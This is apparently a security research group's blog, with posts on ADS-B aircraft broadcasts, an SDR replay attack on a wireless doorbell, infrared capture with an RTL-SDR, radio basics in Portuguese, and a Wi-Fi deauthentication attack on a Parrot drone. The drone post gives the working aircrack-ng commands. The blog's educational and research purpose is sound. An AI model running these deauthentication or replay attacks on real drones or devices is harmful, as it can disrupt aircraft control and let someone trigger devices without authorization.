Automatic Dependent Surveillance-Broadcast – ADS-B (Part I)

This content is a piece of our initiative to study security in aviation. All experiences and content developed by us will be available here on right moment. To start, we will understand a little about ADS-B.

ADS-B is one of technologies from NextGen Platform (Next Generation Air Transportation). NextGen is a initiative from FAA (Federal Aviation Administration) for enhance the current Air Traffic Control. The proposal promises a great operational gains, security and financial support for the entire chain of stakeholders involved in air transportation.

ADS-B technology is responsible for communication between aircrafts and between aircraft and air traffic control. This technology has been widely used in aircrafts and it will be mandatory adoption in the coming years (from 2020 US / Europe 2017).

This is a cooperative surveillance technology for tracking aircraft. Each aircraft determine your position via GPS. Every aircraft equipped with ADS-B will periodically send your location information, speed, altitude, identification and other details to ground stations and others aircrafts also equipped with ADS-B present in that area.

This technology will replace the radar as the primary method of surveillance to detect the position of aircraft worldwide.

Supposedly the ADS-B technology should increase safety in aviation by making visible aircraft in real time, exchanging information such as position and velocity, transmitted every second, but the current technology of ADS-B make use of broadcast transmission, in clear text ( without encryption or other security measures) using radio frequency (1090MHz – Modulation PPM).

ADS-B technology consists of two different systems that are ADS-B In and Out.

 

ADS-B Out

It is the basic level of ADS-B functionality. It’s basically all communication that is issued by the ADS-B aircraft.

 

ADS-B IN

The information reported by ADS-B Out (other aircraft) will be received by aircraft equipped with ADS-B In system. This functionality is intended to alert the crew about the traffic around you.

 

Understood the basics, let’s look under security optical…

First, we have the situation where the plane is sending uncontrolled information concerning that flight. This set of information is sent in broadcast, or for everyone. It does not require authentication and is not made any kind of control of the recipient and sender.

The signal sent by the ADS-B uses the 1090MHz frequency modulation Digital Pulse Position modulation (PPM) and Manchester code where a ZERO bit is encoded 01 and the ONE bit is encoded 10.

 

An ADS-B message contains 112 bits, for example:

Example message in BINARY format:

10001101010010000100000011010110001000000010110011000011
01110001110000110010110011100000010101110110000010011000

 

The same example in HEX format:

8D4840D6202CC371C32CE0576098

 

The table below shows the bit organization of the message.

drwxr radio ads-b format

(img from: http://adsb-decode-guide.readthedocs.io/)

 

In a future opportunity we will detail every message part….

So far we understood that ADS-B from every airplane will be emitting the bit sequence shown above approximately 2 times per second.

Sites like FlightRadar and FlightAware uses radio receivers around the world, collaboratively, to capture the ADS-B information of the aircrafts and centered in a friendly way on the map showing the vast majority of flights flown in the world.

 

Illustrating how the tracking sites of ADS-B aircraft:

drwxr radio ads-b flow

(Flight radar flow)

 

The ADS-B waveform can be observed in following images:

drwxr radio ads-b waveform

(Waveform ADS-B OUT and Transmit Channel)

 

drwxr radio ads-b waveform decoded

(Waveforms of decoded block).

This is the first content, introduction to ADS-B technology. In the next content we will discuss more about the decoding and show how you can capture the information of the aircraft in its viewing area. Only after that we can have a view of the risks of ADS-B technology…

Think how dangerous a Replay Attack could be in aviation scenario.

to be continued…

Tags : , , , , , , , ,

Replay Attack – Doorbell

Recently I bought a low cost wireless doorbell so I decided to analyze the RF communication and reproduce a replay attack.

To accomplish the attack I used an Ettus USRP2 N210 SDR (Software Defined Radio), a Voye wireless doorbell and GNU Radio.

The replay attack (also called as playback attack) is simple and very interesting attack, it works by simply recording a signal and then rebroadcasting it once it used a “fix code” signal to activate the doorbell.

(Ettus USRP2 N210 SDR (Software Defined Radio)

Voye DoorBell

(Voye wireless doorbell)

GNU Radio

GNU Radio Companion (GRC) is a graphical tool for creating signal flow graphs and generating flow-graph source code.

More info: http://gnuradio.org/redmine/projects/gnuradio/wiki/GNURadioCompanion

 

Identifying the signal

Usually doorbells operates at frequencies of 433Mhz (Europe) or 315Mhz (America), it was first noticed the frequency of 433Mhz in order to get signal but nothing was found. Analyzing the 315MHz frequency we found the signal from the doorbell transmitter.

We used GQRX to clearly identify the frequency:

GQRX

(GQRX – identify the frequency)

Capturing the signal

We recorded the signal from the doorbell transmitter in GNU Radio into a RAW file.

We’re using 2e6 (2M) as Sample Rate and this value should be used in every step.

GnuRadio-Receive

(flow-graph capturing the signal)

 

Opening this up in AUDACITY we can see groups of pulses making up a single button press and we can identify this is a OOK (On-Off Keying) Signal.

Audacity1

(Audacity – Raw File)

On zooming in to a button press, we can see these button presses are made up of similar looking groups.

Audacity2

(Audacity – Raw File – Zoom in)

 

Isolating the signal

Now we are going to export this slice of signal (4 sequences):

Audacity3

(Audacity – Isolating the signal)

Notice that we’ve exported 4 sequences because the receiver has a error rate and it needs to receive more than 1 package of bits.

We gonna export using the following configuration:

Audacity4

(Audacity – Export Configuration)

Transmitting the signal

Finally, the last step was to create a flow graph to transmit the raw signal isolated.

GnuRadio2

(flow-graph transmitting the signal)

After executing the doorbell will ring…

Video of replay attack:

 

 

Tags : , , , , , , , , ,

Captando sinais Infravermelhos (IR) com RTL

Neste artigo será apresentado como utilizar o RTL para receber sinais de controle remoto infravermelho (IR), incluindo o controle fornecido com o equipamento RTL. O receptor infravermelho do RTL é surpreendentemente poderoso, ele foi capaz de captar sinais de todos os controles remotos que testamos, retornando os dados brutos (raw) para decodificação.

É possível criar um replicador ou emissor de infravermelho bastante simples, o mais complexo é encontrar o que deve ser transmitido. Vamos tratar aqui de leitura raw, ou seja do que os controles IR enviam. Neste momento não será demonstrado como replicar ou como construir um emissor IR.

O RTL-SDR é um receptor de TV Digital via conexão USB para Computador, que pode ser utilizado também como Rádio para captar Ondas Eletromagnéticas.
Geralmente estes receptores contém uma antena e um controle remoto infravermelho (IR), que é utilizado para ligar/desligar, mudar de canais, configurações de volume, etc.
Isso quer dizer que o equipamento contém um receptor de Infravermelho (IR), além do receptor de rádio frequência da TV digital.

dongle-rtl

(Receptor RTL)

Receptor-IR

(Receptor Infravermelho)

Espectro de frequências

O RTL que utilizamos (Realtek RTL2838 DBV-T) pode sintonizar dentro de 24 MHz – 1.7 GHz, ou seja 2.4 x 10⁷ Hz até 1.7×10⁹ Hz.

Abaixo o espectro de frequência completo:

espectro-frequencia

(Espectro de frequência)

Em frequências mais altas, ou comprimentos de onda mais curtos, temos a luz infravermelha visível, ultravioleta, entre outras.

A radiação infravermelha é uma radiação eletromagnética cujo comprimento de onda é maior do que o da luz visível, e por consequência não é visível para os seres humanos. O nome significa “abaixo do vermelho” (do latim infra, “abaixo”). Isto se deve ao fato de a cor vermelha possuir a menor frequência do espectro de luz visível e o infravermelho possuir uma frequência logo abaixo da dele.
O comprimento de onda do infravermelho possui tamanho aproximadamente de 750 nm a 1mm. Estes comprimentos de onda estão muito além da faixa de frequência de sintonizador de a RTL-SDR ou qualquer SDR comum.
O sensor infravermelho, que é um componente separado do adaptador RTL-SDR, pode receber esses sinais.

RTL_IR

Existe uma ferramenta, que faz parte de uma lib específica, chamada librtlsdr, a qual contém alguns códigos para trabalhar com os receptores do dispositivo RTL. A princípio estas ferramentas foram criadas para trabalho com o receptor Rafael Micro R820T (ou similares, que recebem 24 MHz – 1.7 GHz). Recentemente foi incorporado ao repositório arquivos que possibilitam a captação de infravermelho do dispositivo (rlt_ir).

Comandos para instalação

Abaixo um breve tutorial para realizar a instalação:

git clone https://github.com/librtlsdr/librtlsdr.git
cd librtlsdr
mkdir build
cd build
cmake ../
make
sudo make install
sudo ldconfig

Para que usuários normais (sem privilégios de root) possam utilizar, deve ser executado também a instrução abaixo:

cmake ../ -DINSTALL_UDEV_RULES=ON

(Instalação concluída)

Utilização

Após a instalação, tudo estará preparado para receber as informações. Para deixar o dispositivo em modo “ouvinte” deve ser executado o seguinte comando:

rtl_ir

Executando o comando rtl_ir, deverá aparecer a seguinte mensagem:

(Execução RTL_IR)

Isso indica que o processo funcionou e o dispositivo está pronto para receber os dados.
Para testar, basta apontar um controle infravermelho (televisão, TV a cabo, etc) e apertar as teclas.
Os bits enviados pelo controle infravermelho, serão apresentados na tela, conforme imagem abaixo:

(Sequência de Bits recebidos por Infravermelho)

Conclusão

Como pode ser visto acima, é possível obter facilmente informações dos controles infravermelho, ou seja é apenas uma atividade introdutória ao assunto, podendo ser explorada muito mais a fundo, como por exemplo decodificação e replicação de sinais, entre outras coisas.

Tags : , , , , ,

Rádio Frequência, o básico e fundamental

Atualmente é muito comum a comunicação entre dispositivos de forma sem fio, seja através do uso Bluetooth, Wi-Fi, 433, GSM, CDMA, RFID, entre outros. 

Cada vez mais a tecnologia sem fio está presente, e isso aumenta também a necessidade de se aplicar protocolos e camadas de segurança nas comunicações com o objetivo de manter a confidencialidade, integridade e disponibilidade dos serviços e informações. Isso vem de encontro com a tendência da Internet das Coisas (iot – internet of things) em que cada vez mais os diversos dispositivos do nosso dia-a-dia estarão interligados. 

Atualmente grande parte da comunicação global é baseada em comunicação wireless, tornando fácil de imaginar o problema que é criado com o aumento do uso de tecnologias sem fio. Algumas implementações destes tipos de comunicação fazem uso de criptografia, ou no mínimo deveriam utilizar. No entanto, vamos focar naquelas comunicações mais simples neste início, para entendimento e em seguida vamos explorar as formas de comunicação sem fio mais complexas. 

Para início de tudo, é necessário o entendimento de alguns termos e conceitos básicos. Esta será a base para o estudo de segurança em comunicação sem fio. 

Começando então com o entendimento do conceito do rádio, que seria basicamente levar uma informação de um ponto a outro, sem a utilização de cabos. A informação necessita de um meio para sua transmissão, seja através de cabos, fios, ar ou qualquer fluído, no caso da rádio-frequência, consideramos as transmissões feitas sem fio.

 

Algumas definições 

Rádio frequência (RF) são correntes de alta frequência que abrangem de aproximadamente 3kHz a 300GHz passando pelos condutores que chegam até as antenas onde são irradiadas as ondas eletromagnéticas (OEM) a partir destas variações de corrente. A antena tem a função de irradiadar as ondas eletromagnéticas pelo ar/espaço. 

Para que exista uma comunicação por rádio frequência, é necessário ter basicamente o transmissor e o receptor. 

O Transmissor, como já dito acima, é o responsável por transformar informações em sinais elétricos, para serem transformados em ondas eletromagnéticas e propagadas no espaço pela antena. 

O Receptor, no outro lado, capta estas Ondas Eletromagnética e transforma em sinais elétricos, para ser compreendido pelos rádios, fazendo o processo inverso do transmissor.

 

Características de uma Onda Eletromagnética: 

Amplitude: tensão máxima em volts que pode atingir.

Período: é o tempo em segundos que uma onda leva para completar um ciclo (em segundos).

Comprimento de onda: a distância entre dois picos ou dois vales consecutivos de uma onda eletromagnética

Frequência: número de ciclos que a onda percorre no tempo, ou seja, em um segundo, sua unidade é o Hertz (H). A frequência é inversa do período.

1

 

Espectro de Freqüência

Para evitar sobreposições em OEM, foram estabelecidas faixas de frequências disponíveis para cada tipo de aplicação, conforme abaixo:

2

Entendido isso, passamos para os Sistemas de Comunicação.

 

Sistemas de Comunicação
Informação: A informação pode ser analógica ou digital. O sinal onde se encontra a informação é chamado de sinal modulante. Nos sistemas AM e FM por exemplo, a informação é transmitida na frequência da portadora, sendo que essa portadora é modulada de acordo com a informação (sinal modulante).

3

 

Onda portadora: é a onda que transporta a informação, e normalmente tem frequência diferente e maior que a da informação base. A portadora pode ser a luz, sinal de micro-ondas, sinais elétricos, etc. Assim como o sinal modulante, pode ser digital ou analógica. 

Modulação: É captado o sinal que se quer transmitir, então modifica uma onda portadora de acordo com as variações de estados. Os sinais modulantes, ou sinais base, alteram um dos parâmetros da onda portadora, (fase, amplitude ou frequência) para poder transmitir a informação, o resultado dessa alteração é o sinal modulado.

Sinal modulado: é o resultante da modificação da onda portadora (modulação), através da variação de estado da onda portadora, feita através do processo de modulação. É dele que o receptor irá tirar a informação que deseja através do processo de demodulação.

 

Tipos de Modulação 

Basicamente, a modulação consiste em fazer com que um parâmetro da onda portadora mude de valor de acordo com a variação do sinal modulante, que é a informação que se deseja transmitir.

 

Modulação analógica.
Neste tipo de modulação, a portadora é uma onda senoidal, e o sinal modulante é um sinal analógico ou contínuo. As técnicas de modulação para sinais analógicos mais utilizadas são a Modulação em Amplitude – AM, Modulação em Freqüência – FM e Modulação em Fase – PM.

4

Modulação Digital.

A modulação digital é usada quando se está interessado em transmitir uma forma de onda ou mensagem, que faz parte de um conjunto finito de valores ou código.

As principais técnicas de modulação para sinais digitais são:

 

Por chaveamento

Modulação em amplitude por chaveamento (ASK – Amplitude Shift-Keying):  Altera a amplitude da onda portadora em função do sinal digital a ser transmitido. A modulação em amplitude troca a freqüência baixa do sinal binário, para uma freqüência alta como é a freqüência da portadora.

Modulação em freqüência por chaveamento (FSK – Frequency Shift-Keying):  Processo de modulação que consiste na variação da freqüência da onda portadora em função do sinal digital a ser transmitido. Esse tipo de modulação pode ser considerado equivalente a modulação em FM para sinais analógicos.

Modulação em fase por chaveamento (PSK – Phase Shift- Keying):  Processo pelo qual se altera a fase da onda portadora em função do sinal digital a ser transmitido.

 

5

 

Por pulso 

Nesta técnica uma amostra da forma de onda é tomada a intervalos regulares. Há uma variedade de esquemas de modulação por pulso: modulação em amplitude de pulso (PAM), modulação em código de pulso (PCM), modulação em freqüência de pulso (PFM), modulação de posição de pulso (PPM) e modulação por largura de pulso (PWM).

Existem outros tipos de modulação que vão ser apresentados quando for necessário.

A transmissão a rádio é um universo, uma ciência, mas por enquanto estes conceitos serão fundamentais para os estudos em segurança em rádio frequência.

 

REF.

TANENBAUM, Computer Networks

https://en.wikipedia.org/wiki/Modulation

J.BARTON HOAG, BASIC Radio

http://wndw.net/pdf/wndw3-en/ch01-physics.pdf

Tags : , ,

Hacking Commercial Drones

Unmanned Aerial Systems (UAS), populary called Drones, has been tech sensation nowadays with available ones in department stores close to you focusing in recreational use. Despite the advantages of using them (in a great range of services), this post aims to present lack of security concerns during design that impacts directly safety.

This article was thought after a video published by John Hopkins University:

By video it is possible to recognize that they used drones from manufacturer Parrot (model Bebop), once we own a Parrot AR.drone 2, we guess that researches found most of issues due use of Wireless (IEEE 802.11) for remote controller.

Parrot AR.drone 2.0
Parrot AR.drone 2.0

Wireless Networks are susceptible to many attacks such as key cracking, man in the middle, network injection and many others.

In this post, the Proof of Concept is based in a “Deauthentication/Dissociation” attack, known as denial of service attack, which breaks the communication link between the mobile phone (controller) and drone (access point). Requiring aircrack-ng suite for this task, more specific the scripts airodump-ng (capture 802.11 frames) and aireplay-ng (create traffic).

Development

– Put wireless adapter on monitor mode

airmon-ng start wlan0

– Discover AR.Drone MAC address

airodump-ng wlan0mon //In this case: 90:03:B7:38:F5:B8

– Discover the client connected to AR.drone BSSID

airodump-ng wlan0mon -c 1 –bssid 90:03:B7:38:F5:B8 //In this case: 44:80:EB:00:0B:41

– Use aireplay-ng to disassociate the client

aireplay-ng -0 1000 -a 90:03:B7:38:F5:B8 -c 44:80:EB:00:0B:41 wlan0mon

-0 is the parameter for the Deauthentication attack, 1000 is the number os deaths, -a MAC address of Parrot AR.drone, -c the MAC address of the client and the wlan0mon the interface.

Video

Result

Parrot AR.drone 2 DOS attack
Parrot AR.drone 2 DOS attack

Conclusion

This post points out the risk of using technologies without judgment about security and its impacts on operation. Prior design requirements about security could lead to a more secure product which impacts directly safety and business aspects.

Tags : , , , , , , , ,

Hello!

This is the  drwxr’s crew blog  we are a research group that has the objective of keeping training, drilling and always be up-to-date with the constant computers issues changes.

So, we hope that the content of this blog be useful and any doubt or questions contact us through our contact page on the menu.